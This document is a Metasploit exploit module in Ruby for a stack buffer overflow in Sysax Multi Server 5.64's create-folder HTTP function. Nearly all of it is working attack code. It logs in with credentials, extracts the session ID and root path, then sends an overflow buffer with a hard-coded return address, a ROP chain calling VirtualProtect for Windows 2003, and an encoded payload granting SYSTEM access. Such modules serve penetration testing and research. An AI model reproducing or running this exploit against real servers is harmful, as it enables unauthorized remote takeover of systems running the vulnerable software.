Sysax Multi Server 5.64 Create Folder Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the create folder function in  
Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the  
vulnerability valid credentials with the create folder permission must be provided.  
The HTTP option must be enabled on Sysax too.  
  
This module will log into the server, get a SID token, find the root folder, and  
then proceed to exploit the server. Successful exploits result in SYSTEM access.  
This exploit works on XP SP3, and Server 2003 SP1-SP2.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Craig Freyman', #Original discovery for the overflow  
'Matt "hostess" Andreko' #More reliable attack vector  
],  
'References' =>  
[  
[ 'OSVDB', '82329' ],  
[ 'EDB', '20676' ],  
[ 'EDB', '18420' ],  
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],  
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s  
'Space' => '1299',  
'DisableNops' => true,  
},  
  
'Targets' =>  
[  
[ 'Windows XP SP3 / Sysax Multi Server 5.64',  
{  
'Rop' => false,  
'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll]  
'Offset' => 711,  
}  
],  
[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',  
{  
'Rop' => true,  
'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)  
'Offset' => 711,  
'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]  
}  
],  
],  
'Privileged' => true,  
'DisclosureDate'=> 'Jul 29 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),  
Opt::RPORT(80),  
OptString.new('SysaxUSER', [ true, "Username" ]),  
OptString.new('SysaxPASS', [ true, "Password" ])  
], self.class)  
  
end  
  
def create_rop_chain()  
rop_gadgets = []  
  
# ROP chains provided by Corelan.be  
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2  
if (target == targets[1]) # Windows 2003  
rop_gadgets =  
[  
0x77be3adb, # POP EAX # RETN [msvcrt.dll]  
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]  
0x41414141, # Filler (compensate)  
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]  
0x77bdb896, # POP EBP # RETN [msvcrt.dll]  
0x77be2265, # & push esp # ret [msvcrt.dll]  
0x77bdeebf, # POP EAX # RETN [msvcrt.dll]  
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)  
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]  
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]  
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)  
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]  
0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]  
0x77befbb4, # &Writable location [msvcrt.dll]  
0x77bbf75e, # POP EDI # RETN [msvcrt.dll]  
0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]  
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]  
0x90909090, # nop  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]  
].flatten.pack("V*")  
end  
  
return rop_gadgets  
  
end  
  
def get_sid  
  
user = datastore['SysaxUSER']  
pass = datastore['SysaxPASS']  
  
creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"  
  
# Login to get SID value  
r = send_request_cgi({  
'method' => "POST",  
'uri' => "#{target_uri.to_s}scgi?sid=0&pid=dologin",  
'data' => creds  
})  
  
# Parse response for SID token  
sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]  
print_status "SID: #{sid.to_s}"  
  
sid.to_s  
  
end  
  
def get_root_path(sid)  
  
# Find the path because it's used to help calculate the offset  
random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir  
  
r = send_request_cgi({  
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm",  
'method' => 'POST',  
})  
  
# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.  
# Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash)  
root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]  
print_status "Root Dir: #{root_path}"  
  
root_path  
  
end  
  
def exploit  
  
connect  
  
sid = get_sid  
root_path = get_root_path(sid)  
  
buffer = rand_text(target['Offset']-root_path.length)  
buffer << [target.ret].pack('V')  
  
if (target['Rop'])  
buffer << [target['Nop']].pack('V')*16  
buffer << create_rop_chain()  
end  
  
buffer << make_nops(15)  
buffer << payload.encoded  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")  
post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"  
  
r = send_request_cgi({  
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm",  
'method' => 'POST',  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
})  
  
disconnect  
  
end  
end  
`